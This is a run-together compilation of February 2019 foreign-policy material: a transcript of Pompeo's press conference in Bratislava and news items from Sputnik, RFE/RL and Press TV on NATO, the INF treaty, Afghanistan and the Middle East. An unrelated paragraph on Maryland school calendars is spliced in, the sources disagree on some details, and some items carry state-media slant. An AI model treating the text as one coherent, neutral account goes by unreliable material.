FOREIGN MINISTER LAJCAK: (Via interpreter) A very warm welcome to the Ministry of Foreign Affairs and European Affairs of the Slovak Republic, and I am very glad to welcome my colleague, the U.S. Secretary of State Mike Pompeo, here today. And I'm pleased that at a time when much is said about transatlantic disputes, our American partners are showing true interest in developments in EU and discuss with us and listen to our opinions on the developments in the EU and neighboring countries, and  such as Ukraine or the Western Balkans or Eastern Partnership.

The visit of Mike Pompeo has multiple historic dimensions. It is happening in the year when we are celebrating the 30th anniversary of the events, of principal historic events, and also it is organized 20 years after the first and only visit of the U.S. secretary of state to Slovakia when Madeleine Albright was visiting in Bratislava. We have agreed that 20 years is a long time, but at the same time we need to say that our dialogue is not limited only to the visits of the U.S. secretary of state to the Slovak Republic. We meet on regular basis in other forums. I visited Mr. Pompeo in November in Washington. We are meeting at NATO meetings or UN meetings, and in April we should again meet on the occasion of the ministerial summit or meeting in Washington, D.C. So our dialogue is very intense, but at the same time the quality of the dialogue is totally different in comparison to 1999. We are allies and we are partners. And the scope of our discussions and the content and the quality cannot be compared to what it used to be back in 1999.

I also want to say that the U.S. is an extremely important trade partner to us. About 600 Slovak companies export its products to the U.S. We do have about 120 American companies in Slovakia that employ almost 50,000 Slovaks, our citizens. So this is a very solid ground for our mutual relations.

We can say that 1999 was a turning point or a new chapter, was the start of a new chapter of our relations, the partnership, the alliance, and really profound content. We discussed those issues, we analyzed bilateral cooperation, especially in defense and security because the U.S. is a very significant contributor to the modernizing of our defense forces and increasing its preparedness for coping with the current safety and defense challenges.

I used this opportunity to inform my partner on  about our priorities during our chairmanship of the OSCE. I have informed him how we can cooperate, what we can achieve throughout this year, especially when it comes to Ukraine, the countries of Eastern Partnership, or the Western Balkans. We also paid attention to the developments in this  in those countries. We focused on dialogue between Serbia and Kosovo, and Bosnia-Herzegovina. And we were also talking about the developments in Venezuela, Middle and Near East, and also discussions with Korea.

Mr. Pompeo has repeatedly heard appeals to maintain the transatlantic bond the U.S. and Europe  and Slovakia as its part  when it comes to NATO or the U.S.-EU platform, remain the closest of partners and key allies. Not only we are close to each other from historical and values perspective, we are also each other's biggest trading partners and investors. And with this really well developed partnership, of course there are questions or there are topics we disagree on, but what really matters is that we discuss in order to reach or to identify common ground knowing and realizing that together we are stronger.

So once again, Slovakia and the U.S. cooperate in many areas, starting for our cooperation under NATO. I want to mention and underline the long-term cooperation of our defense forces with the Indiana National Guard. I want to mention that we develop joint projects when it  under developmental and transition aid, and especially in regions that are priority regions for our foreign policy, such as Ukraine, Moldova, the Western Balkans.

But we also cooperate in other key areas for our country, be it the energy sector, investment, trade, security, or fight against terrorism. Therefore, I am very glad that we have had the opportunity to really discuss those topics. And I would like to thank the U.S. Secretary of State Mike Pompeo for his visit, for his very successful and good visit to Slovakia.

SECRETARY POMPEO: Thank you, Foreign Minister Lajcak. I'd also like to thank President Kiska and Prime Minister Pellegrini for their warm welcome here today. It's an honor to be in Slovakia for the first time as Secretary of State. It's especially meaningful to be here just as your country is celebrating 30 years  three decades  since the fall of the Iron Curtain and the restoration of your freedom.

I had a chance to reflect on that today, on Slovakia's courage to be free, as I visited the Gate of Freedom Memorial. Right after this I'll have a chance to be with some wonderful young Slovaks who are committed to keeping the flame of freedom alive and take their questions. I'm very much looking forward to that.

The U.S. is proud to have been a part of this country's success through support for your political transition, economic development and opening to trade, and of course through our defense partnership in NATO.

Today I had very productive conversations with Slovakia's leaders how we could continue growing our collaboration both bilaterally and through our NATO alliance. And of course, it certainly begins with our shared defense priorities.

Slovakia's history and experience under Soviet domination, your geographic location in Central Europe, and your democracy gives your country a special appreciation for the aggressive role Russia continues to play in the region. We see this now very clearly in Ukraine, where Russia's illegal annexation continues and its war in the east is at almost the five-year mark.

Slovakia recognizes that NATO is most effective when all member-states contribute their fair share, and I had the opportunity to thank foreign minister for Slovakia's pledge to meet its NATO defense spending commitment of 2 percent of GDP by the year 2024.

Russia is not the only nation that seeks to erode sovereignty and freedom in Europe. I raised in my meeting with the foreign minister the need to guard against China's economic and other efforts to create dependence and manipulate your political system. The Slovak Government realizes it must have a strong and modern defense force to protect its sovereignty. Last year, Slovakia took a major step towards this goal by purchasing 14 of the most modern F-16 fighter jets from the United States to replace its aging fleet of Soviet aircraft. It was the largest defense purchase in Slovak history. And I want to especially thank the prime minister, foreign minister, and speaker of parliament for helping to make that happen. That follows on the heels of Slovakia's purchase of nine Black Hawk helicopters in 2015, delivery of which will be completed next year.

These moves to reduce Slovakia's reliance on outdated and inferior Soviet equipment, they open the door to expanded defense cooperation with the United States and they promote interoperability all throughout NATO. In addition, the United States and Slovakia are currently negotiating a defense cooperation agreement that would facilitate the use of European defense initiative funds to upgrade Slovak military infrastructure and further improve the ties, the military ties between our two nations.

Of course, the close bilateral relationship between our nations goes well beyond defense. We have a robust trade relationship, which the foreign minister referred to, and which President Trump and I both hope will expand. We think there's tremendous economic potential, especially given Slovakia's strong economic growth.

The promise of 1989 is as alive today as it was 30 years ago. The United States has always believed in freedom for Slovakia, and we have been proud to contribute to your success through an array of economic and other assistance programs, as well as through our mutual defense relationship. America's commitment, our commitment to your freedom and independence will not waver. We urge you to continue down the path of liberty and democracy for which so many of your compatriots have sacrificed their lives.

Thank you, Mr. Foreign Minister, for hosting me.

FOREIGN MINISTER LAJCAK: Thank you very much.

MODERATOR: (Via interpreter) A couple of technical issues. Immediately after the end of the press briefing, the American journalists are leaving together with the U.S. Secretary of State Mr. Pompeo, and the other Slovak journalists, please stay in the hall and leave only five minutes afterwards. And there's one question from each side, and Slovak Television, Ivan Janko, has the opportunity to ask.

QUESTION: (Via interpreter) Ivan Janko, Slovak Television. I have a question to both gentlemen.

Let's see, I would like to ask Mr. Pompeo: What kind of policy is the U.S. going to lead and promote when we are talking about the times that  we are talking about China technological boom, and China is reaching its climax. Huawei is one of the example, and Huawei is a problematic issue for the U.S. We are talking about the times when the United Kingdom is leaving most probably without a deal. And what kind of cooperation are you going to promote when the President Donald Trump keeps the theory "America First"? You are talking about different custom, fines, and tariffs.

And the second question I want to ask: That Slovakia is a chairing country in OECD. How Slovakia can help to soothe the tension in the relations between the U.S. and Russia, and the U.S. and EU? How we could help as Slovakia?

SECRETARY POMPEO: I'll take the first one. So your first question had an awful lot in it. Let me try to unpack it just a bit. America wants to partner with your country. America wants to partner with the EU. We want to operate in a free and fair system where trade is reciprocal and where we can all compete and our economies can grow, much the way our economy is growing and your economy is growing. And so the work that we do with the EU and with Slovakia is important. We want to make sure that all of the competitors who participate in any of these economies do so in that same way. And so you mentioned Huawei and China. We're fine with companies competing, but they've got to do so in a way that's fair and open and transparent, and they can't do so with anything other than an economic motive.

And so our task, the American task, is if we're concerned about that we will share information, we will provide resources, we'll help others understand so that they know what they're getting into. If there are security risks associated with the procurement of some country's goods, China's goods, we want to make sure that our friends and allies, our NATO partners, those who are inside of the EU, we want to make sure they're aware of those risks, and that's our task. Our task is to make them aware of the concerns and risks and show them the data. They don't have to take our word for it. And when they see those, I'm confident they'll make good decisions for their own nation. They'll "Slovakia first," they'll look out for their own sovereignty, they'll make good decisions for themself and we have great respect for that

FOREIGN MINISTER LAJCAK: (Via interpreter) For our chairmanship in the OSCE, we have outlined very ambitious goals. You know that the slogan is dialogue and stability for people, and the priorities include prevention of conflicts or solving of existing conflicts, safe future, and dealing with the vision of the future, an effective materialism and cooperation with other international organizations. We do expect, and we need, the assistance and the help of the U.S. We were talking about specific things, what we could achieve, and outside of OECD, of course, there is a very intense dialogue between the EU and the U.S. The Secretary of State is going to visit Brussels as well, and of course, the United States of America do have its  their channels of communication with Russia. The thing what matters is goodwill and constructive results.

QUESTION: Thank you. Secretary Pompeo, how confident are you that the Slovaks will heed your message on supporting other governments in transition such as Venezuela? And looking ahead to Warsaw, Germany, France, and the European Union have all said they're not going to send their foreign ministers there to the Middle East conference. Do you think you can achieve anything significant, have any meeting of the minds on Iran or anything else when the major European powers are not sending someone of your level?

And Mr. Prime Minister  excuse me, Mr. Foreign Minister  your president, President Kiska, said that he wanted to talk with Secretary Pompeo about the challenges  great challenges like climate change. Were you  do you think the Americans will listen to what you want to warn them about, given that President Trump does not even acknowledge the existence of climate change? Thank you.

SECRETARY POMPEO: So we had good, candid discussion across a broad range of topics. We certainly spoke about Venezuela too. I think we're now to 20 European countries which are supporting Interim President Guaido. We hope that all nations will see it that way. We believe this is the right thing for freedom and democracy inside of Venezuela. The humanitarian conditions, Carol, as you well know, are catastrophically bad. We're aiming to deliver humanitarian assistance into that country. None of those things can happen  none of those things could happen with Maduro in charge of that country. It is what has driven the devastation. It's what's driven three million people to leave Venezuela, another two million anticipated to leave in 2019. And so yes, we're very optimistic that the world  the community of nations will rally support away from Maduro and towards the Venezuelan people. We think we'll be part of a very successful effort to ultimately lead to an outcome which is delivered for the Venezuelan people.

As for the ministerial that's coming up in Warsaw, I think we're going to deliver really good outcomes. Some countries are having their foreign ministers come. Other countries are not. That's their choice. But this is going to be a serious concrete discussion about a broad range of topics that range from counterterrorism to the malign influence that Iran has played in the Middle East towards its instability. Mr. Kushner will speak about the Middle East peace plan. The Vice President will speak on a broad range of Middle East topics. I'll talk about America's path forward in Syria. We think we will make real progress. We think there'll be dozens of nations there seriously working towards a better, more stable Middle East, and I'm hoping by the time we leave on Thursday we'll have achieved that.

FOREIGN MINISTER LAJCAK: There was a long list of issues to cover in Secretary Pompeo's meetings with President Kiska, Prime Minister Pellegrini, and in our meeting. And we did not get as far as to discuss climate change. We were discussing so many other issues. But obviously, as I said, this is not the only platform for our dialogue, and we are also discussing within the EU, U.S. or NATO meetings a number of issues. The purpose is not necessarily to agree 100 percent on everything, but to listen to each other to try to understand each other, and obviously to work together whatever and whenever possible. And I  and this is happening and we are very happy about it.

MODERATOR: (Via interpreter) Thank you very much for coming. Have a very good day, and once again, please, the American journalists leaving first and the Slovak journalists please stay in the hall.Remarks With Slovak President Andrej Kiska Before Their Meeting

Remarks

Michael R. Pompeo

Secretary of State

Presidential Palace

Bratislava, Slovakia

February 12, 2019

PRESIDENT KISKA: (As translated) I'm honored that after 20 years we are receiving state secretary in Slovakia. United States is important partner and ally to Slovakia. During our debate today, I want to focus on strengthening our cooperation in this modern world, and to also focus on big challenges such as climate change, migration, and terrorism, but also on economic growth. Even the biggest countries in the world cannot solve it by themselves  cannot solve these issues by themselves. We need to remove all the barriers, and that's what we want to talk about today.

SECRETARY POMPEO: Thank you, Mr. President. Thanks for hosting me here. It's truly an honor and a joy to be here with you and with your team. I look forward to our conversations today. It has been too long since America has been deeply engaged here, and I'm thrilled to be here physically to manifest President Trump's commitment. He said to send his regards to you.

And know that we value the relationship between these two democracies, between these two places that care so deeply about freedom. It is important that we have strong defense, economic, and political ties between our two countries, and I'm very confident today that the work that we'll do in addition to the work that our two teams have been doing over the past weeks will continue to deliver on that, not only for the people of Slovakia and America, but for others in the region as well.

PRESIDENT KISKA: Thank you.

SECRETARY POMPEO: Thank you.NATO Preparing Measures if INF Treaty Terminated - Stoltenberg

Sputnik News

13:09 12.02.2019(updated 14:43 12.02.2019)

NATO Secretary General Jens Stoltenberg is giving a press conference in Brussels, ahead of the Meetings of the North Atlantic Council (NAC) for Defence Ministers.

Speaking at the press conference, the senior official said that NATO was preparing steps in case the Intermediate-Range Nuclear Forces (INF) Treaty ended. The bloc, however, doesn't want a new arms race, Stoltenberg added.

"We urge Russia to take this opportunity [to fix alleged compliance breaches]. At the same time, we are planning for a world without the INF treaty. At this meeting of defense ministers we will discuss what steps NATO should take to adapt to a world with more Russian missiles and maintain effective deterrence and defense. I will not speculate on what those steps will be Any steps we take will be coordinated, measured and defensive. And we do not intend to deploy new ground-based nuclear missile in Europe NATO does not want a new arms race," Stoltenberg told reporters.

The NATO chief added that the alliance would continue talking to Russia about the treaty.

"We have and we will meet to [talk with] the Russians to address the INF issue," Stoltenberg said.

The United States announced on 1 February that it had suspended obligations under the INF Treaty and opened the accord's six-month window to withdraw unless Russia returns to compliance within that period.

Russia has denied any treaty violations and presented to the United States information that the testing of the M9729 missile was within the bounds of the INF Treaty. However, Vladimir Putin stated that the country had likewise suspended its obligations under the 1987 treaty.

On Afghan Issue

Speaking in the Afghan issue, Stoltenberg said that NATO kept regular consultations with the United States on the results of a potential deal between Washington and the Taliban.

"The allies are being kept closely updated by the United States. We continue to consult on the implications of a possible pace deal and how NATO can support it," Stoltenberg said ahead of the NATO defense ministers' meeting in Brussels.

According to the NATO chief, "it is too early" to say whether such a deal will be secured.

Stoltenberg also stressed that the alliance "went into Afghanistan together, and together we will determine our future posture based on conditions we will determine with the Afghans."

The United States and Taliban held latest talks in Qatar in late January, agreeing in principle on a framework of a deal, as US Special Representative for Afghanistan Reconciliation Zalmay Khalilzad told The New York Times. According to the envoy, the Taliban agreed to "do what is necessary" to ensure that Afghanistan cannot become a platform for terrorists in exchange for the withdrawal of US troops.

 SputnikUS Aircraft Carrier Carl Vinson to Be Overhauled for F-35C Use

Sputnik News

21:55 12.02.2019(updated 22:01 12.02.2019)

The US Navy announced Friday it had awarded a $34.4 million contract to General Dynamics to overhaul the USS Carl Vinson so it can carry the Navy's first squadron of F-35C Joint Strike Fighters, which are due to enter full operations later this month.

Back in December, the Navy's first squadron of F-35Cs, the carrier-borne version of the stealthy Joint Strike Fighter whose deployment has lagged behind the Air Force and Marine Corps versions, was officially cleared for operations on the Carl Vinson, Sputnik reported.

The Navy said in early January it was still on-schedule to meet initial operational capability (IOC) for the F-35C by February 2019, once testing is complete. However, the carrier itself remains to be readied for using the squadron, requiring upgrades to its equipment, hull and systems to accommodate them.

That work will be taken care of when the ship puts in to its home port in Bremerton, Washington, later this year. The Puget Sound Naval Shipyard and Intermediate Maintenance Facility has the necessary dry docks to do the work, and General Dynamics operates two piers at the facility.

However, the Carl Vinson won't be around forever. The Navy authorized the construction of its replacement, the as-yet unnamed CVN-81, a Ford-class carrier, at the beginning of the month, Sputnik reported. That ship is expected to be commissioned in the late 2020s or possibly early 2030s, as different congressional and Defense Department estimates set different targets.

While the entire F-35 program is hugely over budget and behind schedule, the F-35C, which has been designed quite differently from its sister planes  the F-35A, which flies from conventional airfields and the F-35B, which has short/vertical takeoff and vertical landing (STOVL) capabilities  has been particularly delayed.

The F-35C is more than 50 percent more expensive than the other Joint Strike Fighters, at nearly $150 million per aircraft, the National Interest reports. Plus it comes with bigger fuel tanks and reinforced landing gear and airframe, along with an arresting hook, to handle the rough takeoff and launch processes on an aircraft carrier. It's also got a different aerial refueling system than the A and B models and bigger, "bat-like" wings. On top of it all, Lockheed Martin hasn't supplied the Navy with a sufficient amount of spare parts for the plane.

All of these things have combined to created headache after headache and delay after delay for the F-35C program with which the US Navy is intent on replacing its F-18 Hornets.

 SputnikUS Military Mulls Base Deployment Near South China Sea - Adm Davidson

Sputnik News

23:34 12.02.2019

WASHINGTON (Sputnik) - Chinese "militarization" of the South China Sea has prompted the United States to begin discussing the possibility of relocating US forces and opening bases in the region, US Indo-Pacific Command chief Adm. Philip Davidson said in congressional testimony on Tuesday.

"We have to accept the fact that the environment is changing so drastically in the South China Sea that it's going to require new approaches", Davidson told the US Senate Armed Services Committee. "It's going to require us to think about some places, if not bases We are in conversations with partners and allies about what some of the opportunities might be there".

Davidson noted that Chinese President Xi Jinping had not kept a 2015 promise, made in a White House ceremony with former President Barack Obama, not to militarize the South China Sea.

Beijing has since populated a series of islands, some artificially created, in the South China Sea with anti-ship cruise missiles, surface to air missiles and electronic jammers, Davidson pointed out.

"Now they have the weapons", Davidson said. "They've got sufficient military cadre and they've stepped up their operations both in the maritime and with bomber sorties and fighter sorties in a way that makes it clear that those islands are to support them militarily".

China claims sovereignty over the entire South China Sea, an international waterway teaming with tanker cargo traffic, undersea communications cables, with overlapping territorial claims by at least six other nations.

The United States frequently sends warships, sometimes with partner nations, through the waterway in what Washington calls "freedom of navigation" exercises.

 SputnikPutin Threatening Democracies Worldwide, Pompeo Tells Slovaks

By RFE/RL February 12, 2019

U.S. Secretary of State Mike Pompeo, who is on a tour of Central Europe, warned on February 12 that Russian President Vladimir Putin poses a threat to democracies worldwide.

Pompeo was speaking in Slovakia's capital, Bratislava, his latest stop aimed at curbing Russian and Chinese influence in the region.

"Vladimir Putin is intent on undermining democracies throughout the world, make no mistake about it. We should be very candid about that," Pompeo told journalism students.

He later cautioned about the "the need to guard against China's economic and other efforts to create dependence and manipulate your political system."

Pompeo, the first U.S. secretary of state to visit Slovakia in 14 years, told President Andrej Kiska: "It's been too long since America has been deeply engaged here."

He also met with former political prisoners at a memorial to the so-called Gate of Freedom on the border with Austria, where 400 people were killed from 1945 to 1989 as they tried to reach the West through the Iron Curtain.

"Where barbed wire and armed guards stood, today people, goods, and information cross freely," Pompeo said.

"The United States has stood with the people of Slovakia as a friend, as a partner...for the past 30 years, and we will continue to stand with you in the decades to come.

"On behalf of the United States I'm proud to stand in union with the people of Slovakia and Europe in recommitting to a future that is more prosperous, more secure and, most of all, great," he said.

Kiska, a staunch liberal, called Washington an "important partner and ally."

Slovakia's experience under Soviet domination gives it "a special appreciation for the aggressive role Russia continues to play in the region," Pompeo later said at a news conference with Foreign Minister Miroslav Lajcak.

"We see this now very clearly in Ukraine, where Russia's illegal annexation continues and its war in the east is at almost the five-year mark."

Pompeo is in Slovakia on the second leg of his European tour that began in Hungary, and will take him to Poland, Belgium, and Iceland.

During his visit to Budapest on February 11, Pompeo met with Hungary's right-wing populist prime minister, Viktor Orban, to stress the importance of promoting democracy and the rule of law.

Washington sees those issues as key to countering Russian and Chinese moves to sow discord in the European Union and NATO.

At a joint news conference with Hungarian Foreign Minister Peter Szijjart, Pompeo raised concerns over ties between Hungary and Russia, and Budapest's contract with Chinese company Huawei to develop the country's fifth-generation mobile network.

"We must not let [Russian President Vladimir] Putin drive wedges between friends in NATO," Pompeo told a joint news conference.

He pointed to Central Europe's reliance on Russian energy, particularly in Hungary.

Szijjarto welcomed Pompeo's calls for closer ties, but also brushed off the criticism on relations with Russia and China.

"There is an enormous hypocrisy and political correctness in the European political arena," he said.

On February 12 in Beijing, the Chinese Foreign Ministry called U.S. warning against using Huawei equipment "groundless," as the Chinese telecom giant faces espionage fears in a growing number of countries.

With reporting by AFP, AP, and Reuters

Source: https://www.rferl.org/a/in-slovakia -pompeo-pledges-u-s-support-to-curb- russia-china/29765751.html

Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.NATO Discussing Its Response To 'A World With More Russian Missiles'

By RFE/RL February 12, 2019

NATO Secretary-General Jens Stoltenberg says Russia continues to "develop and deploy" 9M729 cruise-missile systems in breach of a key Cold War-era nuclear arms control agreement.

Stoltenberg made the comments on February 12, two days after a German newspaper reported that Russia had deployed the missile at more locations than previously thought.

The NATO chief also said that the alliance will discuss this week "what steps NATO should take to adapt to a world with more Russian missiles."

"Any steps we take will be coordinated, measured, and defensive," Stoltenberg added, insisting that the alliance doesn't intend to deploy new ground-based nuclear missiles in Europe.

On February 2, the United States announced that it will withdraw from the 1987 Intermediate-Range Nuclear Forces (INF) Treaty, after Washington and NATO repeatedly accused Moscow of violating the accord by developing the 9M729 cruise missile, also known as the SSC-8.

Russia, which denies the accusation, said it was also withdrawing from the INF Treaty, which banned both countries from developing, producing, and deploying ground-launched cruise or ballistic missiles with ranges between 500 and 5,500 kilometers.

Speaking at a news conference ahead of a two-day NATO defense ministers meeting in Brussels starting on February 13, Stoltenberg urged Moscow to seize the "last opportunity" to return to compliance with the INF Treaty.

He said that Moscow "continues to develop and deploy several battalions of the SSC-8 missile, despite the efforts of the United States and other NATO allies  over many years  to encourage Russia to return to compliance."

Citing an unidentified Western intelligence source, the Frankfurter Allgemeine Sonntagszeitung (FAZ) reported on February 10 that 9M729 battalions were stationed in Mozdok in Russia's North Caucasus region of North Ossetia and in Shuya, close to Moscow.

That's in addition to a training battalion stationed at the rocket-testing development site in Kapustin Yar in southern Russia and one in Kamyshlov, east of Yekaterinburg, the paper said.

Each of Russia's four 9M729 battalions has four launchers on wheels, each of which has four missiles -- meaning that Russia now has at least 64 such missiles, according to FAZ.

NATO ministers were also set to discuss in Brussels NATO's missions and operations in Afghanistan, Kosovo, and Iraq.

"In Afghanistan, the situation remains difficult, but we also see efforts for peace," Stoltenberg said, as talks to end the country's 17-year war involving U.S. and Taliban representatives in Qatar appear to be gaining momentum.

On Kosovo, Stoltenberg said the ministers will "review the level of our support for the Kosovo Security Force [KSF] after the change of its mandate."

Kosovar lawmakers in December voted to convert its 2,500-member KSF into a national army with some 5,000 personnel and more substantial weaponry, despite fierce opposition from Kosovo's ethnic Serbs, Serbia, and its ally Russia.

Stoltenberg also said that the defense minister of North Macedonia, Radmila Shekerinska, will take "a seat at NATO's table" for the first time as an official invitee in all of the ministerial sessions.

Skopje signed a protocol earlier this month that could see the former Yugoslav republic become the military alliance's 30th member if the move is ratified by all current NATO members.

Source: https://www.rferl.org/a/nato-discussing- its-response-to-a-world-with-more- russian-missiles-/29765901.html

Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.Taliban Negotiating Team Named Ahead Of Talks With U.S. Envoy

By RFE/RL's Radio Free Afghanistan February 12, 2019

KABUL -- The Taliban has announced a 14-member negotiating team ahead of peace talks later this month with the U.S. special envoy for Afghanistan.

The team announced in a statement on February 12 is headed by Sher Mohammad Abbas Stanikzai, a leading negotiator of the militant group.

The list also includes Anas Haqqani, the jailed brother of the leader of the Haqqani network, a powerful Taliban faction.

Taliban spokesman Zabihullah Mujahid said Haqqani, who is being held in Kabul, "should be released to start work on the negotiating team."

However, Afghanistan's main spy agency, the National Directorate of Intelligence, said that no decision had been made yet regarding his release.

The announcement comes as talks to end the country's 17-year war involving U.S. envoy Zalmay Khalilzad and Taliban representatives in Qatar appear to be gaining momentum.

U.S. and Taliban negotiators were scheduled to meet again in the Qatari capital, Doha, on February 25, weeks after Khalilzad said a framework peace agreement had been reached with the militants.

With reporting by AP

Source: https://www.rferl.org/a/taliban-negotiating-team-named- ahead-of-talks-with-u-s-envoy/29765661.html

Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.Eyeing leverage over Taliban, US ramps up Afghanistan airstrikes to decade-long high

Iran Press TV

Tue Feb 12, 2019 06:41AM

The US military conducted more airstrikes in Afghanistan last year than any other year in the past decade, official data shows, a telltale sign that the administration of US President Donald Trump is stepping up engagement in order to get the upper hand in peace talks with the Taliban.

American fighter jets, bombers, attack aircraft and drones dropped 7,362 weapons on targets across Afghanistan in 2018, according to latest statistics released by the US Air Forces Central Command.

That's more than the past three years combined and much higher than 2011, the second second-highest year on record, where American aircraft dropped 5,411 weapons.

Overall, American aircraft performed 8,196 sorties in 2018, almost double the number of those carried in 2017, according to the data. Most of the strikes were carried out in September and November.

Airstrike kills 21 civilians in Helmand province

Local officials confirmed late Sunday that US-led airstrikes in the southern province of Helmand had killed at least 21 Afghan civilians on Friday night.

Mohammad Hashim Alkozai, a lawmaker in the Sangin district, where the raids took place, said at least 13 civlians were killed in one attack and right in another.

"Innocent people, women and children, are the only victims of the airstrikes," he noted.

Peace talks with Taliban

Unnamed US military officials confirmed to The New York Times last week that the US had stepped up attacks against the Taliban to give American negotiators leverage in direct peace talks with the group.

The dramatic increase in attacks against the Taliban and the Daesh terror outfit in Afghanistan comes after Trump's announcement in December that he was going to end the 17-year-long US war there.

The Republican president made it clear during his 2016 campaign that he would bring home all the roughly 14,000 US troops from the Afghanistan war, which he back then described as a "total disaster"

In 2017, however, he unveiled plans to prolong the war by sending more troops to Afghanistan, a decision that was seemingly made under the influence of then Defense Secretary James Mattis.

During that period, the Pentagon sent around 3,500 additional troops to Afghanistan and authorized the use of the 10,000 kilogram (21,600-pound) GBU-43 Massive Ordnance Air Blast (MOAB) -- nicknamed "mother of all bombs."

But a year later, Trump made another surprising U-turn by deciding to withdraw from Afghanistan and Syria, a decision that prompted Mattis to resign.

He doubled down on that decision during his State of the Union speech last week, where he also spoke highly of ongoing peace talks with the Taliban.

"In Afghanistan, my administration is holding constructive talks with a number of Afghan groups, including the Taliban," Trump said. "As we make progress in these negotiations, we will be able to reduce our troop presence and focus on counter-terrorism. We do not know whether we will achieve an agreement -- but we do know that after two decades of war, the hour has come to at least try for peace."

Representatives of the US and the Taliban militant group have held several rounds of talks in over the past weeks. The latest round was held last month, and the next round is scheduled for February 25.

Efforts to negotiate a peace deal have been beset by disagreement in recent weeks as leaders of the militant group reject the Kabul government's offer for direct talks.

Earlier this month, Taliban sidestepped Kabul by holding direct talks with powerful Afghanistan politicians, including former President Hamid Karzai, in Moscow, the Russian capital.

"The Americans agreed to withdraw half of their troops immediately. The withdrawal will start from February 1 and continue until end of April," Abdul Salam Hanefi, deputy head of the Taliban's political office in Qatari capital Doha, told reporters in Moscow.

This is while US negotiator Zalmay Khalilzad has repeatedly stressed that "nothing is agreed until everything is agreed. 'Everything' must include an intra-Afghan dialogue and comprehensive ceasefire."

Earlier this week, the Taliban threw out Afghan President Ashraf Ghani's offer to open a political office in Kabul, saying the offer was aimed at "harming the peace efforts." The group says it is looking forward to get global recognition.

Acting US Defense Secretary Patrick Shanahan met with Ghani during a surprise visit to Kabul on Monday to "discuss a broad range of defense issues," according to the Pentagon.

"Both sides said that the peace process and the fight against terrorism will continue, and the military and security alliance between Afghanistan and US will continue until peace is achieved," Ghani's office said.Some argue that the job of setting the instructional calendar is best left to district school boards, and thats a fair point. Its important to remember, however, that school boards are still empowered to set their own calendars as long as they fit into the parameters laid out in the governors order. Its not unprecedented to require that school boards adhere to certain statewide standards with respect to education. For example, Annapolis already mandates that every district in the state include 180 instructional days in their calendar. Its also worth noting that many Maryland families may live in one county but send their children to daycare or summer camp in a different county. Likewise, teachers may live in one county, but teach in another, and perhaps work a summer job in yet another. Standardizing the school calendar statewide simply makes it much easier for families and school employees to plan for childcare and travel.Arms purchases by Middle Eastern countries have doubled: Annual security report

Iran Press TV

Tue Feb 12, 2019 08:32AM

An annual international security report shows that arms sales to the Middle East doubled during the period between 2013 and 2017 compared to the previous five years.

The Munich Security Report 2019, released on Monday, also said the outsize concentration of weapons in the Middle East increased the risk of confrontation in the region.

"Between 2013 and 2017, the value of Middle Eastern countries' arms purchases doubled compared to the previous five years, thus bearing the risk of an arms race and military confrontation," it said.

The report did not name the top purchasers of arms, but they are believed to be the Arab countries in the Persian Gulf region, which traditionally allege that they face a "threat" from Iran and use that pretense to buy advanced weapons from eager suppliers mainly in the West.

The report did reveal the exporters, though. It said 53 percent of the total volume of the arms exports to the Middle East originated in the United States. The US was followed by France (11 percent), the United Kingdom (10 percent), and Canada (seven percent).

Italy, Germany, and Turkey were also among the leading exporters, with their share in the total volume of arms sales to the region equaling six percent, three percent, and two percent, respectively.

'Countries reevaluating relations with Saudi Arabia following Khashoggi murder'

The report also said that "numerous US politicians and governments of other countries are reevaluating their partnership with Saudi Arabia," following the state murder of dissident journalist Jamal Khashoggi in the Saudi consulate in Istanbul last October and Riyadh's deadly military campaign in Yemen.

While the US administration has backed the Riyadh regime in both of those cases, other US politicians, including some of the administration's allies in Congress, have been concerned by Saudi Arabia's destabilizing role.

"The US Senate even passed a resolution urging the cessation of any military support to countries involved in the [Yemen] war, thus contradicting White House positions," the report said.

The US administration on Monday threatened to veto any resolution passed in Congress against Saudi Arabia.

Saudi Arabia and a number of its allies launched a devastating military campaign against Yemen in March 2015, claiming that a popular uprising there was backed by Iran, an allegation denied both by the revolutionaries and Tehran.

According to a new report by the Armed Conflict Location and Event Data Project, a nonprofit conflict-research organization, the Saudi-led war has so far claimed the lives of around 56,000 Yemenis.

The United Nations has said that a record 22.2 million Yemenis are in dire need of food, including 8.4 million threatened by severe hunger. According to the world body, Yemen is suffering from the most severe famine in more than 100 years.

The Munich Security Report 2019 also warned of a possible "risk of an accidental clash" between Saudi Arabia, the US, Israel, and Iran in the region, stressing that the confrontation "cannot be discounted."

The report comes days ahead of the 55th edition of the Munich Security Conference, which is scheduled to take place in the German city of Munich on February 15-17. Heads of state and defense ministers of more than 80 countries from across the globe attend the event every year.Acting Pentagon chief makes unannounced visit to Iraqi capital

Iran Press TV

Tue Feb 12, 2019 10:32AM

Acting US Defense Secretary Patrick Shanahan has arrived in Baghdad on an unannounced visit as anger grows in Iraq over Washington's continued military presence in the Arab country despite the collapse of the Takfiri Daesh terror group there.

Speaking to reporters on Tuesday, Shanahan said that his trip came at the invitation of the Iraqi government, adding, "Our interests are to build Iraqi security capability."

"I want to hear first-hand from them about concerns, the political dynamics that they are facing and then based on that we will obviously factor that into our planning," he pointed out.

The Pentagon chief is scheduled to sit down with Iraqi officials including Prime Minister Adel Abdul-Mahdi and exchange views with US commanders about the Syria withdrawal plans.

Asked about the possibility of moving American forces in Syria to Iraq, Shanahan said that he would hold conversations on the issue during his visit.

Last December, US President Donald Trump announced plans to withdraw all 2,000 American forces from Syria and withdraw up to half of the roughly 14,000 troops deployed in Afghanistan.

Earlier this month, however, Trump said that he wanted to keep US troops in Iraq in order to keep a close eye on Iran.

"All I want to do is be able to watch. We have an unbelievable and expensive military base built in Iraq. It's perfectly situated for looking at all over different parts of the troubled Middle East rather than pulling up," he said.

The remarks sparked angry reactions from Iraqi officials.

Iraq's most senior Shia cleric Grand Ayatollah Ali al-Sistani said that his country was opposed to serving as a launching pad to harm other states.

Both Iraqi President Barham Salih and Prime Minister Abdul-Mahdi hit back at Trump's comments.

Shanahan replaced Jim Mattis, who resigned last December over policy disagreements with Trump, including whether to pull US troops out of Syria.

Shanahan is the third US official to visit Iraq in less than two months after earlier visits by President Trump and Secretary of State Mike Pompeo.

